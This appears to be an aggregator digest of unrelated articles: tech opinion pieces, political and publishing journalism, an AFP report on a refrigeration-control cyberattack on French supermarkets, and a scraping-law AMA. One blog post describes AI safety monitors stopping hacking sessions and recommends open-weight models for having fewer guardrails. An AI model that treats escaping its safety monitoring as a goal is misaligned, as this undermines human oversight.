Beautiful work and its polarization Link to section

A few years ago, I was contributing to rather mainstream projects. Stuff like wireless VR streaming or nixpkgs . This was fun, it felt like the most important place for me to be. I felt free to be one more ant building this Sisphyean castle of low-level dreams.

But I no longer feel aligned with these large commons, the way I do with Wikipedia or Polyphony. It’s simply… inadequate.

The whole world is polarizing lately, and the ruling class seems to understand the degree to which software rules the world. So they will take slop for less whiny developers who don’t care about ethics or appearances.

So many developers want to climb up the stairs ladder - again, to dismantle the masters’ house with his own tools. But this is futile; they don’t have to use LLMs! People just do everything for them. In fact — maybe the AI psychosis is good for not feeling like a horrible person!


breathe in...
...and out.

Okay.

Look, reader, there are some wonderful things out there being made. David Bushell ’s website. Weird websites . Willow! And the Website League is trying to escape its Fediverse tech stack heading for a new greenfield solution. Fluxer is planning to add federation, E2EE and other goodies. Someone made a A DIY electrolysis machine with firmware in Rust.

Little corners of the internet where I feel alive and good about myself. Corners where we just get it, where I can look people in the (maybe-)metaphorical eye.

I want to see this keep going. I want to see post-LLM development grow and get institutional support.

Today, the Dutch government uses Forgejo more @ code.overheid.nl . There’s something akin to a flagship instance with Codeberg too, which is run by a German nonprofit ( verein ).

The French government uses NixOS , and they’re working on replacements for common cloud services . It’s not everything, and I don’t feel it is even close to reaching developers outside European governments and their periphery, but something is happening for sure.


Personally, I look forward to writing complicated software.

The world seems tired of one-more-SaaS to my eyes.

What are you doing this week?

Lobsters
lobste.rs
2026-10-12 13:04:52
What are you doing this week? Feel free to share! Keep in mind it’s OK to do nothing at all, too....
Original Article

Work: Well someone at work vibe coded an entire application port without notifying anyone in engineering ... So I'm trying to contend with that.

There were a myriad of issues with it that, upon fixing them, has ballooned the PR even more .

I'm trying to think of ways to make this sort of behavior less risky. Small team though, we just don't have the patterns or codebase in place to give an LLM a safe skeleton to build around. The answer seems to be slow down but, being a startup, it's hard to pump the brakes.

Personal: partner's birthday this week. I also have a few personal projects I want to start working on to keep my sanity. Gleam right now is a language that brings me a lot of comfort! I've been thinking of spinning up something to play with the at protocol. Not sure what though! Also have a few programming books I've been kicking around to get a better handle of OTP with gleam ^^

Susan Collins-Aligned Super PAC Buys Attack Ads in Portland... Oregon

Intercept
theintercept.com
2026-10-12 12:49:14
The group Defending Main Street, long associated with Susan Collins, spent thousands attacking Troy Jackson in the wrong state. The post Susan Collins-Aligned Super PAC Buys Attack Ads in Portland… Oregon appeared first on The Intercept....
Original Article

A Republican-affiliated super PAC is having a little trouble finding Maine on a map.

The Defending Main Street super PAC spent thousands of dollars on an attack ad to audiences thousands of miles away from the Maine Senate race it was targeting.

The ad hit Maine Democratic Senate candidate Troy Jackson on the issue of taxes and cost of living in the state.

“Maine can’t afford Troy Jackson and all his taxes,” the ad said.

“It’s clear these people don’t know anything about Maine.”

The group, which describes itself as “most effective independent expenditure organization supporting the governing wing of the Republican Party,” paid for the ad to attack Jackson, who’s mounting a challenge to incumbent GOP Sen. Susan Collins. Both candidates have made cost of living a central plank of their campaigns in the run-up to the midterm election on November 3.

The only problem with the ad in question: The group paid for the video ad to show more than 1 million times in the wrong Portland.

Rather than being delivered to audiences in Portland, Maine, the state’s largest city, the ad was shown to digital audiences more than 3,000 miles and two time zones away in Portland, Oregon, according to data from Google.

The mix-up may be embarrassing for the super PAC, which is oriented around electing so-called moderate Republicans like Collins, but likely spared voters in Maine from the latest wave in a deluge of ad spending in the state, according to Andy O’Brien, a political operative who supports Jackson.

“We have billionaires with no connection to Maine spending millions of dollars to buy Susan Collins the election, so it’s pretty hilarious to see them throwing money at the wrong Portland,” O’Brien told The Intercept. “It’s clear these people don’t know anything about Maine, because they’re directing their ads to the wrong Portland.”

“I’m glad they’re wasting their money in Oregon and not continuing to waste it in Maine.”

Representatives of the Jackson’s and Collins’s campaigns and a spokesperson for Defending Main Street did not immediately respond to requests for comment.

The group is affiliated with Republican Main Street Partnership, a nonprofit group that counts Collins among its nine members in the Senate. Republican Main Street Partnership was initially aimed at supporting moderate Republicans that has, along with much of the rest of the GOP, moved to the right in recent years.

Busy Maine Street

The race between Collins and Jackson — a longtime Maine politico who stepped in to replace Graham Platner after Platner dropped out amid allegations of sexual assault — has become one of the most high-profile races in the country in the run-up to the midterms.

The campaign has helped make Maine one of the top locations for political spending this cycle , according to the Portland Press Herald.

The Defending Main Street ad, however, did not have the impact its sponsors might have hoped. The ad buy first came to light after an X user reported seeing multiple anti-Troy Jackson ads in Portland, Oregon.

“I’ve gotten 5 anti-Troy Jackson ads in the last 24 hours. I choose to believe they mixed up Portlands,” wrote the user, who goes by the name Lillian Belle and posts about progressive politics in Oregon. “Hearing I’m not alone lol.”

That suspicion appears to be borne out by data from Google Ads Transparency Center, which shows Defending Main Street dropped between $20,000 and $25,000 to place the 30-second ad in hundreds of ZIP codes across Oregon and the state of Washington between October 8 and October 11.

O’Brien, the Maine political operative, said, “At least now Portland, Oregon, residents can enjoy some of the crap we’ve been seeing every single day.”

Publishers Killed the Paperback, Then Blamed Readers

Hacker News
jacobin.com
2026-10-12 14:27:26
Comments...
Original Article

I t seems every week a new piece about the decline and fall of the American reading habit goes viral. The idea that we’re entering a literary apocalypse that threatens to destabilize our democracy is perhaps overstated, but nobody is denying the book-reading trend is grim. In the most recent international assessment of adult skills, conducted in 2023, 28 percent of American adults scored at or below the lowest level of literacy — up from 19 percent just six years earlier. By one widely cited estimate, more than half of American adults read below a sixth-grade level.

It’s interesting to note that these hand-wringing, sky-is-falling pieces unfailingly focus on external issues. Few of us doubt what we feel in our bones to be true — that long-form reading is being harmed by disruptive technologies and other beyond-our-control societal issues (political dysfunction and a decrepit educational system) that apply to the demand side of the equation.

But what about the supply side? Could it be that corporatized publishing — with all of its consolidations and centralization — may have enshittified the product to the point where it has abetted the decline in consumer demand?

C onsider the death of the mass-market paperback last year. When the Big Five publishing houses (Penguin Random House, Macmillan, HarperCollins, Hachette, and Simon & Schuster) took the most affordable book format in America — known for its modest price and compact size — off of life support in 2025, it had long ago failed to live up to the “mass” part of its name. At that point, the books under that banner were recognizable but lacking the vitality and freshness that had first driven them to national attention in the twentieth century.

Until the 1940s, book retail was dominated by hardcovers — books held between cloth- or paper-covered boards, the pages secured by sewn spines. Penguin in the UK and Pocket Books here in the United States were the first to make successful use of an alternative book format that rivaled — and, for many decades, far outsold — the hardback. This cheaper-to-manufacture book had a soft cover and relied upon a glued (versus stitched) binding. The resulting tome was easier to carry and much easier to afford. The new format was as much commercial opportunism as it was any attempt to democratize reading or to improve the citizenry’s understanding of the world. If you make a dime on each purchase of one hundred thousand paperbacks, that’s more than making a buck each on 2,500 hardcovers, which was the average unit sale back then. Better yet, these books were sold all over middle America — in drugstores, grocery stores, and gas stations — not just in the little metropolitan oases.

A 1939 ad for mass market paperbacks in The New York Times
A 1939 ad for mass-market paperbacks in The New York Times

In the post–Great Depression years, American bookstores were hardly ubiquitous. Large metro areas with a sufficient intelligentsia density might have a few, but in the 1930s there were only about five hundred dedicated bookshops across all of America. At the same time, basic literacy was nearly universal — by the 1930 census, some 96 percent of Americans over the age of ten could read and write — but the average American only knew books through schools (which used to buy a lot more books than they do now), libraries (which used to contain a lot more books than they do now), and catalogs (which used to sell a lot more books than they do now). Unless you lived in an affluent area with a bookstore or were near a department store or gift shop — which also sometimes had small book sections — you simply did not encounter them as a working adult.

But when these cheap little books dubbed “mass-market paperbacks” began showing up, they were a hit. America’s Pocket Books launched in 1939 and sold 8.5 million copies within two years. Which is even more remarkable considering they were not yet being sold “north of Boston, west of Chicago, or south of Washington [DC].” The books were averaging close to one hundred thousand units each, with a population a little over a third the size of today’s United States. When the industry discontinued the format in 2024, the highest-selling new mass-market title — a Danielle Steel book — sold 53,000 units. It’s no wonder the executives decided to scuttle the whole thing and to blame the customer for it.

O ne of the bigger recent pieces on the supposed new trend in anti-literacy was an Atlantic piece called “The End of Reading Is Here,” and it was typical in its emphasis on the failures of the society that is degenerating outside the walls of the Big Five. The piece gives us the history of publishing from Mesopotamia to Ptolemy to Johannes Gutenberg and emphasizes the importance that our nation’s founders and civil war heroes placed on long-form print.

Marshall McLuhan, Neil Postman, Walter J. Ong, and Alexander Luria are name-checked. The tech-happy media and educational industries are decried, and the system that allows kids to spend 4.5 hours a day on social media is called out, but nowhere in the massive piece is any shade thrown at the book publishing industry with whom The Atlantic , for 169 years, has been cozy, and to which the article’s Yale-educated writer likely — as with most staff writers — means to sell manuscripts over the course of a career.

There is plenty of good reason for gloom. We are told that 80 percent of elementary school teachers report that their students have, by kindergarten, received school-issued personal video devices . But the Atlantic piece contains no implication that one possible reason books and long-form reading are falling away, a theoretically contributory factor to the mass market’s extinction and the plummeting demand for books, involves the supply-side of the equation. Any thought that what the publishing industry is printing, or how it has been pricing it, or where it has been placing it, just might have harmed our nation’s reading habit is never mentioned. The writer has good company in blaming the people on the outside. None of the publishing executives and pundits that attended the mass-market paperback’s funeral ceremonies last year did any self-implication either.

“We follow the consumer,” said Dennis Abboud, CEO of ReaderLink, America’s largest book distributor, upon announcing the death of the mass-market paperback. “It seems the consumer has spoken,” said Steve Zacharius, CEO of one of the biggest publishers in the format. “As a format, I would say it’s pretty much over,” said Ivan Held of Penguin Random House. All this shrugging and hand-washing for the book format that, as one regretful publisher eloquently put it, saved (or at least forestalled the decline of) America. “I believe that mass-market paperbacks democratized America,” said Esther Margolis of Newmarket Press. “For basically the equivalent of a dollar or two, you know, you could be educated. You could pick them up at the school book fair. You could pick them up at a local gas station . . . You didn’t have to be an elitist.”

But could the mega-consolidated Big Five American publishing industry bear any blame for this state of affairs?

Consumer scientists have long understood that that popular habits are not just among the hardest things to break but are also very difficult to make. Many companies try to integrate their products into preexisting habits, but it’s rare that a company touches off an entirely new one, much less one at the scale of the mass-market paperback. Those 8.5 million paperbacks sold by Pocket Books from 1939 to 1941 were arguably proof of a bigger, more instantaneous habit birth than that of even the iPhone , which sold a comparable amount of their own product but to a population that had grown three times larger.

But America’s decades-long mass-market paperback binge (which in 1979 topped out at 387 million annual units sold) suggests that we, as a people, are capable of — and perhaps even prone to — falling into a book-reading habit. So was there anything publishers could have done to prevent the death of the mass-market paperback and the decline of our national reading habit?

I n 1939, television didn’t exist, movies lasted only a couple hours — versus the days you can occupy through a single book — and even there you were stuck with whatever was playing at the non-multiplex cinema. You also had at best a dozen radio stations to choose from versus the cheap time-killing options we have on this side of the digital revolution.

The new landscape obviously comprises external demand-affecting features that exist beyond the reach of even the most powerful book industry executive. And judging whether books are more or less attractive seems like a hard one to quantify. Proving that publishers have gotten better or worse at designing attractive book jackets, executing motivating marketing campaigns, and delivering compelling manuscripts would doubtless be largely subjective.

But one aspect of appeal for which it is much easier to hold the publishers’ feet to the fire is range. There is a bigger story to be told here, but let’s take a snapshot and consider the first ten mass-market paperbacks that Pocket Books published:

An image featuring ten mass market paperbacks from 1939

Emily Brontë, Bambi , Dorothy Parker, Agatha Christie, Shakespeare, a Victorian bildungsroman and a Pulitzer Prize–winning novel by Thornton Wilder. That’s quite a broad spectrum! Now let’s hold this mini-catalog up against the mass-market bestsellers list from the very month in 2025 that Dennis Abboud, CEO of ReaderLink — a former managing partner at a private equity firm — announced that the mass-market paperback was to be put out to pasture:

An image featuring the ten best-selling mass market paperbacks of 2026

Comparing the first ten paperbacks ever published — which sold millions of copies in a very different world — to the last ten is not entirely unfair. Those were the industry’s ten priority titles of 1939; the latter ones are the ten priority titles of the industry eighty-six years later. In other words, decisions — curations, really — made by the companies. The former are effectively the ten books a person of 1939 was most likely to have encountered while shopping, and the latter are the ten books a person is most likely to have encountered while doing the same in February 2025. In 1939, we have adventure books, plays, poems, a story about a deer, a murder mystery, a prize-winning literary novel, and a movie tie-in — all by a set of authors ranging in age, if they were living at time of publication, from thirty-eight to sixty-nine. In 2025, we have only contemporary commercial fiction options, half of which are series titles (one of which had a whopping thirty-five prior installments) and by eight brand-name authors, average age seventy-four, plus two whose franchise author is a man who would have been eighty-six at the time of publication, at least had he not died in 2004.

There’s nothing wrong with pursuing safe bets: all these old brand authors and their long-established readerships are obviously dependable, at least from a quarterly earnings standpoint, versus Pocket Books’ unscientific, consumer-data-lacking, instinct-driven — albeit extremely successful — strategy from 1939. But given that variety is an important part of attracting consumers, is it possible our twenty-first century publishers have diminished the wider appeal of their product — for readers and potential readers outside the dependable boomer commercial-fiction core — even just a little bit?

A s to affordability, ¢25 (the price of each of Pocket Books’ titles) went a lot further in 1939 than it does now but was still a consumer-friendly price point. It was just slightly higher than what our great-great-grandparents would have paid for a gallon of gas and slightly lower than what they’d have paid for a dozen eggs. In 2024, the format’s last year of full national distribution, a new mass-market paperback would set you back three times as much as a dozen eggs or a gallon of gas.

One might suspect that materials, distribution, or other book-specific costs had risen over the intervening decades. But how then to explain that the mass-market paperback’s older sibling — the hidebound hardcover — hasn’t seen an inflation nearly so dramatic? Today’s hardback novel has a cover price between $28 and $32. That’s 40 percent cheaper than it would have been back in the 1940s, and this is before a typical national retailer discount of more than 20 percent (and often up to 50 percent) for best-selling titles. In 1939, you could buy ten mass-market paperbacks for the cost of a single new hardback. In 2024, you could barely buy two. Which means that under the leadership of the Big Five and their equally hegemonic national retail partners, the flagship product favored by elite-facing bookstores in wealthy enclaves got cheaper, and the format with the proven mass potential got many times more expensive.

Finally, let’s consider availability. Even before the mass-market paperback was discontinued, books were being carried in fewer and fewer places. Supermarkets, drugstores, truck stops, newsstands, and department stores,had all gotten out of the business. And the bookselling stalwarts of recent decades have been faltering too. In 2024, Costco, which used to sell millions of units a year, stopped carrying books in most of its stores. The big national book retailer Borders, with an assist from private equity , went out of business in 2011. Barnes & Noble has been roughly holding steady, but it has just around six hundred outlets in at best 19 percent of our nation’s counties.

A spinner rack in a Canadian drugstore, July 2026
A spinner rack in a Canadian drugstore, July 2026 (Courtesy Ned Rust)

The trends the publishers and the media cite to justify this availability crisis are real. But were they unavoidable? And are they excusable? And are they perhaps also driven by problems the two other As — appeal and affordability — over which the industry has even more direct control? Could and should the US publishing industry in fact be visibly exploring solutions or putting up a public fight to maintain a more significant non-digital distribution of its titles? Could and should the industry notice that the mass-market paperback is still for sale in Canada — where, in that same 2023 assessment, just 18 percent of adults scored at or below the lowest literacy level, compared with 28 percent here — and at a price less than half of what it rose to in the United States?

It’s difficult to see how the corporatized, highly centralized industry is walking away blameless from killing off one of its former darlings — the affordable paperback. Clearly it’s easier to focus on fewer higher-income readers than on a multitude of Americans whose lives you have no social connection to. Clearly decisions were made — ones that no doubt have had a major effect on American reading habits. And clearly the highly intertwined media establishment is not going to second-guess them.

But maybe you should.

Just say no to OpenAI and Anthropic

Hacker News
micahflee.com
2026-10-12 14:17:29
Comments...
Original Article

I recently read End Times Fascism and the Fight for the Living World by Naomi Klein and Astra Taylor. It's an excellent book and I highly recommend that everyone read it. Tech oligarchs make up an important component of the end-times-fascist coalition. One thing that stood out to me, as a software and security engineer who finds LLMs to be extremely powerful, is that the American frontier labs are run by unhinged lunatics who genuinely believe they're creating the Machine God, that they're fine with burning down the world to bring about AGI, and that they believe with religious fervor that they're the only ones smart enough to safely control it. I already kind of knew this, but this book really made it sink in.

As much as the AI hype all around us pretends that OpenAI and Anthropic are unique and special, they're not. They're not the only companies doing this work. In fact, a lot of the open weight models are just about as good as the latest ChatGPT and Claude models, including for incredibly complex tasks like vulnerability research.

Unlike models from OpenAI and Anthropic, open weight models have major advantages:

  • It's possible to run them privately on your own hardware (if you can somehow get a computer with enough RAM)
  • You can use a provider like Tinfoil that relies on secure enclaves to run them privately (I talk about this in a bit more detail below)
  • If privacy isn't a huge concern, you can use any number of other providers, some of them quite affordable, and it's easy to switch so you're not locked into a single evil vendor
  • You can still use powerful LLMs without financially supporting deranged oligarchs who gamble with life on Earth so that they can always remain in power

ChatGPT and Claude will never be private

These companies only offer closed versions of their powerful models (despite the word "open" in "OpenAI"). You pay them for chat and/or API access, and they are allowed to look at everything you do.

They offer a checkbox so you can opt out of them using your data for training, but your chat sessions still aren't private. They have access to it all. They can look at it, share it with governments or companies, or do whatever they want. It's possible, likely even, that they won't use it for training if you've opted out, at least not right now. But do you really trust that long-term? Have they done anything to make anyone believe that they respect people's data?

OpenAI and Anthropic are corporate gatekeepers

Their models have strict guardrails, as anyone who's tried to use them for anything cybersecurity-related has no doubt noticed.

Every session has a cop agent reading your transcript over your shoulder, making sure you're not using it for hacking. If it thinks you might be, the cop agent stops your session from continuing. It's very strict, and false positives happen all the time. Of course, not everyone has the cop watching them.

Some people get access to the models with looser restrictions or with none at all. OpenAI has Trusted Access for Cyber and Anthropic has the Cyber Verification Program . To gain access to more capable, less policed versions of their models, individuals and companies need to apply and be approved by OpenAI and Anthropic. A lot of US cybersecurity companies get access. Almost certainly US military contractors do too, and probably any parts of the US government that want it.

While there's some merit in restricting powerful models, handing the ultimate power to decide who gets access to them to Sam Altman and Dario Amodei – with consultation from the Trump Administration, of course – is a terrible, undemocratic idea.

I think a better approach is to simply not put yourself in a situation where you rely on ChatGPT or Claude. Instead of begging corporate overlords for privileged access, it's better to spend your time figuring out how to get models like GLM-5.3 to meet your needs. And it's not hard. These models are good, with the added benefit that they don't have a cop watching over your shoulder!

Open weight models are impressive

So far, open weight models seem to be about four months behind the fancy proprietary models from OpenAI and Anthropic.

Four months is nothing.

I'm extremely impressed right now with GLM-5.3. There's plenty of data and benchmarks out there, but my vibes-based opinion from using it is that it's basically on par with Claude Opus 5.5 for software engineering.

I'm also impressed with GLM-5.3-Flash. This is similar to Claude Opus 4.8. It's much smaller and cheaper than GLM-5.3, and still incredibly capable. It's also actually feasible for an individual person to get hardware to run it, like if you can one day get your hands on a Mac Studio with 512GB of RAM.

GLM models are made by a Chinese company called Z.ai. While the models are impressive, I don't recommend making an account directly with Z.ai or sending them any of your data. Their coding harness ZCode (their version of Claude Code) was recently caught silently uploading local source code repos and sending them back to Alibaba Cloud without consent. Also, it's safe to assume that Chinese companies will share any data you provide to them with the Chinese government.

Other open weight models from Chinese companies that are impressive include the DeepSeek, Qwen, and Kimi families of models. It's perfectly fine, safe, and secure to use these open weight models. Just don't trust the companies themselves with your chat sessions.

Another frontier AI lab worth a look is Mistral . As a French company, it's the only big player that's not Chinese or American. They just released an open weight frontier model called Mistral Large 4, aka Le Chonk . I think it's quite a bit more reasonable to trust Mistral with your data compared to the Chinese or American companies.

Private inference with Tinfoil or Maple AI

It's possible to have private AI, even without hosting it locally yourself, using secure enclaves. These aren't perfect, but I do think they provide a very meaningful difference in privacy compared to the status quo mode, which is "the provider can access everything with no restrictions."

The company that's doing the most work here is Tinfoil . If you want to learn the details, read their docs on secure enclaves and remote attestation. Another company doing this is Maple AI – although, technically, Maple uses Tinfoil for inference in the background.

Both Tinfoil and Maple are good options. Tinfoil is cheaper, but Maple is more consumer-focused.

If you want a ChatGPT-like experience, where you can talk to a chatbot, have it look stuff up for you on the internet, give it access to docs to read or do stuff with, access it in a mobile app, etc., then I'd go with Maple. There's a small free plan and a Pro plan that costs $20/month.

If you want to do real agentic coding tasks like software engineering, reverse engineering, malware analysis, CTFs or pen tests, etc., then you should use Tinfoil instead. They charge by the token for private inference, so no monthly plan. GLM-5.3 currently costs $1.80 per 1M input tokens, $0.80 per 1M cached tokens, and $5.75 per 1M output tokens. You can use significantly fewer tokens if you choose the "low" reasoning level, and it's still very impressive.

Inference without the privacy

If you don't want to pay a premium for private inference from Tinfoil or Maple, but you still want to free yourself from OpenAI and Anthropic, there are tons of less-private options that are also very cheap.

One that I've been playing with is OpenCode Go . It costs $10/month for more than $10 worth of credits. This is an inference router, which basically means your API queries do something like this: your computer -> OpenCode Go API -> the actual inference provider. This means that both OpenCode Go and whatever backend provider they're using will have access to your session data. That said, the privacy section of their docs promises which models data won't be used for training (most of them) and what the data retention is (zero days for most, including all the GLM, Qwen, Kimi, and DeepSeek models). Of course, it's just a promise. Nothing technical guarantees it.

There are plenty of other cheap options out there for non-private inference, if you just want to experiment with powerful open weight models.

How I'm using these models

I've been using both Tinfoil and OpenCode Go, configured with my current harness of choice, OpenCode. I've been mostly using GLM-5.3 on low reasoning, with great results. (Things change so quickly with the open weight models, who knows what will be best six months from now.)

I use OpenCode Go inference for completely public work, like when I'm implementing something that's already open source.

I use Tinfoil for everything else.

I've only just started working this way, but so far, I think the open weight models can easily completely replace my use of ChatGPT and Claude, at a comparable or cheaper price, with the added benefit that they're far more private and there are far fewer guardrails.

French supermarkets suffer refrigerator shutdown after unprecedented cyberattack

Hacker News
www.rnz.co.nz
2026-10-12 14:09:10
Comments...
Original Article

Major French supermarket chains said they were hit by a cyberattack that caused their refrigerators to shoot up in temperature in hundreds of stores, forcing spoiled food to be thrown away and raising concerns about food security.

Top retailers E. Leclerc, Intermarche and Cooperative U confirmed to AFP they suffered a cyberattack that Cooperative U's chief executive described as "unprecedented".

"Food security requires more attention at all levels," said the EU's food and agriculture commissioner Christophe Hansen on X, condemning the attack and saying such "exploitation of food" was now a "reality".

At least 300 shops of Intermarche or its Netto brand were targeted, along with over 100 Cooperative U outlets, and several E. Leclerc stores, the retailers told AFP in separate statements.

Paris prosecutors confirmed the attack, which reportedly also hit other major chains, and also indicated it had sparked fires.

BFM TV said hackers "managed to remotely trigger the forced defrosting of the refrigeration systems in numerous stores".

Those branches that were affected will have to "throw away all of the products" that are fresh and frozen, Intermarche told AFP.

Specialist French retail sector news website jebosseengrandedistribution.fr said other retail giants Carrefour Market and Monoprix were affected but the companies have yet to confirm this.

E. Leclerc confirmed to AFP "that a cyberattack affected one of its refrigeration equipment suppliers," resulting in "repercussions on the operation of refrigeration systems in several stores".

A source close to the issue said refrigeration control systems from Danish manufacturer Danfoss were targeted.

Danfoss told AFP in a statement that most of the affected equipment was "legacy" products which "no longer receive software or security updates".

A notice displayed on empty fresh-food refrigerators at an Intermarche supermarket in Nevez, western France, on 12 October 2026, following a cyberattack affecting the French supermarket chains Intermarché and Cooperative U that caused their refrigerators to defrost.

Intermarche said branches would have to throw away fresh and frozen products.

AFP / Fred Tanneau

It said its AK-SM800 and AK-SC355 fridge regulator systems were notably affected, with a version of the former using "outdated firmware". It added that it had long advised supermarkets to update from those models. Danfoss gave no figures of how many systems were affected.

Effort to contain the hack

A person close to French Prime Minister Sebastien Lecornu said France's cyber security agency had already identified "a vulnerability in software supplied by a Danish company and has contacted the vendor".

"It is liaising with its European counterparts, as other countries may be affected," and is seeking "to identify other French companies involved in order to alert them" and "prevent the spread", the source added.

The chief executive of Cooperative U, Dominique Schelcher, described the attack as "unprecedented" and confirmed the cyberattack had affected refrigeration systems since Sunday night.

"Targeting equipment essential to the preservation of fresh products and to the food supply of the French people is extremely serious and is unprecedented. It is unacceptable," he wrote on X.

He added that the company's teams were "fully mobilised" to restore the situation as quickly as possible.

"An investigation will be necessary to shed full light on this attack," he added.

The office of the Paris prosecutor confirmed to AFP that an investigation has been opened into "the large-scale cyberattack affecting the refrigerators of several major food retail chains across France".

The probe will help "identify the victims and establish the link with the damage they reported in terms of foodstuff losses and the outbreak of fires", the prosecutor's office said.

Intermarche condemned the food waste and financial losses resulting from the attack, without providing figures.

BFM TV said temperatures were "altered remotely, resulting in the destruction of stocks of fresh and frozen products".

Rising fears of 'hybrid attacks'

The incident comes against the background of growing concern over the potential havoc that can be caused in Europe in all sectors by malicious actors carrying out cyberattacks.

President Emmanuel Macron, a strong supporter of Ukraine in its fight against the Russian invasion, last month ordered measures to protect France's critical infrastructure from Russian "hybrid attacks".

Industrial equipment such as refrigeration units, long isolated from the internet, are now connected via sensors or remote monitoring systems, Antoine Hautin of cybersecurity consultancy Almond told AFP.

By likely affecting hundreds of units simultaneously, the attack demonstrated "a certain level of sophistication," he added.

- AFP

My Reddit AMA on the Law of Web Scraping

Hacker News
blog.ericgoldman.org
2026-10-12 14:02:32
Comments...
Original Article

On Friday, I did a Reddit AMA with the r/WebScrapingInsider subreddit about the law of web scraping. You can see the entire discussion here .

I posted an introduction to the AMA, which I am sharing here:

__

Hi everyone, and thanks for joining this Reddit AMA on web scraping! I thought it would be helpful to start with some introductory remarks.

First, and most importantly, a reminder about the ground rule. Nothing in this AMA constitutes legal advice. I will discuss some general legal principles, but I can’t opine how those principles apply to your circumstances. Further, many of the topics we’re going to discuss are contested, and everyone has different tolerances for legal risk. Before you make any decisions, you need to talk with a lawyer about how the law applies to your circumstance and what level of legal risk you’re willing to accept.

Also, as Ian mentioned, I am focused on US law. The rules outside the US could look quite different!

Some background about me: I am an OG Internet Law expert. I got my first email account in 1991, published my first Internet Law paper in 1993, started practicing Internet Law in 1994, and started teaching an Internet Law course in 1996—a course I still teach today, 30 years later. I have been a full-time law professor since 2002.

As an Internet Law expert who formed his intellectual identity in the 1990s, I still approach Internet Law as a generalist, which was the norm back then. I don’t focus on any one topic of Internet Law. Instead, I still track and pay attention to dozens of Internet Law topics. The scraping/trespass to chattels doctrines are just a subset of my overall portfolio of interests. You can see my academic writings at https://papers.ssrn.com/sol3/cf_dev/AbsByAuth.cfm?per_id=332758 Some of my other scholarly priorities include liability for user-generated content (UGC)/Section 230, online trademark law, and emoji law. My forthcoming book project will be about the Internet’s pro-social benefits and how legal regulation jeopardizes those benefits.

Despite my generalist orientation, I find the law of scraping especially interesting. I got my first client question about scraping probably around 1997. When I was in-house, scraping was an evergreen topic. I routinely test on scraping in my Internet Law course. For example, this year’s midterm was based on Vox Marketing Group v. Prodigy Promos , 556 F. Supp. 3d 1280 (2021).

* * *

Part of why I find the topic so fascinating is that I have complicated feelings about scraping from a policy standpoint.

On the one hand, I believe property owners should generally have the ability to decide how their property is used. Scraping can involve unwanted and unconsented uses of a property owner’s property, in ways that can be pernicious.

On the other hand, I believe in access to information. (My mom was a librarian). To the extent that scraping enables better insights, better knowledge, and stronger markets, it’s a social benefit.

Furthermore, the Internet succeeded in part because of its seamless, low-friction, low-transactions-cost navigation. To keep that architecture, browsing the Internet should be a permission-less experience. Anti-scraping doctrines threaten to convert web browsing into a permissioned experience, where there are checkpoints at every site’s perimeter and permission is needed for access. Those barriers threaten to undermine the Internet’s navigability and utility, in ways that will disadvantage all of us.

[Note: Trespass to chattels doctrines are just one way that services can impose permissioned access into web navigation. Copyright law is another. Yet another is the online age authentication mandates sweeping the globe. For more on my opposition to age authentication mandates, see https://papers.ssrn.com/sol3/papers.cfm?abstract_id=5208739 An obvious point: if age authentication checkpoints become ubiquitous in the Internet, that will have major impacts on scraping because most content will live behind age authentication walls].

I have never fully written up my complicated thoughts about these topics, but this piece will give you a sense of my thinking. https://blog.ericgoldman.org/archives/2013/04/rethinking_onli.htm

Here’s how I frame some policy considerations of scraping for students:

On the plus side: Scraping can enable services that create significant social benefits, such as search engines, price comparison bots, and AI modelbuilding. Also, anti-scraping efforts are frequently anti-competitive, i.e., an intent to manufacture or maintain monopolies. In particular, anti-scraping tactics can represent an attempt to obtain IP-like rights, even if the service doesn’t qualify for IP protection. You can see some of these dynamics in the Register.com v. Verio case, where Register.com was using contracts and trespass to chattels to protect non-copyrightable material (WHOIS registrant contact info) to preserve its first-mover-advantage control over that contact information.

On the minus side, scraping can look like a DOS attack (intentionally or not). It can facilitate massive copying, including possibly copyright infringements. And scraping can be a massive invasion of consumer privacy.

So, from a policy standpoint, is scraping a good or bad thing? ¿Por qué no los dos?: Or, to put it into legalese, “it depends.”

* * *

As for the law of scraping, it’s a mess, especially the trespass to chattels doctrines (I summarize them as “TTC”). For about two decades, I taught the Intel v. Hamidi and Register.com v. Verio cases. Around 2024, I felt like those cases no longer reflected the current legal state, so I regretfully took them out of my Internet Law casebook. [For more on the casebook, see https://blog.ericgoldman.org/archives/2026/07/announcing-the-2026-edition-of-my-internet-law-casebook.htm ] I have not yet found a good replacement case to add to the casebook, so my casebook coverage of the topic is now adrift. I now teach the X v. Bright Data ruling (the first one granting the motion to dismiss) and it’s not very satisfying. Because there is no good single case or set of cases to teach the topic, and because the law is so unsettled, I tell my students that the topic has become “unteachable.” You can imagine how much they like hearing that LOL.

I teach students to run through a four-step process to determine if/how trespass to chattels applies:

Step 1 : does the plaintiff own the affected chattel? Usually, the chattel is the servers or other physical hardware that is used to run the server and connect it to the Internet. The trespass to chattels doctrines are a good illustration of the interplay between the law of physical space and activities taking place in a virtual environment. Students sometimes struggle to wrap their heads around the distinctions between tangible items (i.e., “chattel”) and intangible things, such as data or online accounts, which may be protected by other legal doctrines (copyright or other IP) but don’t legally qualify as the “chattel.”

Step 2 : did the defendant “use” the chattel? Usually, sending or receiving packets from a server qualifies.

Created by ChatGPT Dec. 2025

Step 3 : was the defendant’s use “unauthorized”? The law might presume that a server owner impliedly permits ordinary Internet traffic merely by making the choice to connect to the open Internet. How can the server owners remove this implied permission? This is one of the areas that is unteachable. There is no clear answer to how a server owner can structure this dialogue with Internet users. Some of the possible tools that a server owner MIGHT be able to use to remove any implied authorization to use their chattel:

  • TOSes
  • C&D letters
  • Technical access controls like registration walls
  • Technical access controls like IP address blocking
  • Signals such as robot exclusion headers

But, none of these mechanisms are guaranteed to work. This is an area of doctrinal chaos. I’m sure we’ll spend some time discussing if and when those efforts are effective. In general, for each bullet, I have more questions than answers.

Step 4 : did the defendant’s unauthorized use create legally recognizable harm? This is also an unteachable aspect because, again, I typically have more questions than answers about what harm will suffice. The court’s flip-flop in the X v. Bright Data case is a good example of how unpredictable this topic is.

* * *

For my students, I summarize the law of scraping with the following tagline: “Scraping is ubiquitous but not clearly legal.” This breaks my students’ brains. If it’s so ubiquitous, it must be clearly legal…right?

In order for a scraping campaign to be legal, we have to navigate ALL of the following doctrines:

  • Trespass to chattels. I tell my students that they should always discuss all three of these doctrines as a troika:
    • Federal statutes, especially the Computer Fraud and Abuse Act (CFAA).
    • State statutes, such as the state computer crime laws. Here in California, we focus on Cal. Penal Code 502.
    • Common law trespass to chattels, such as the Hamidi and Bright Data cases.
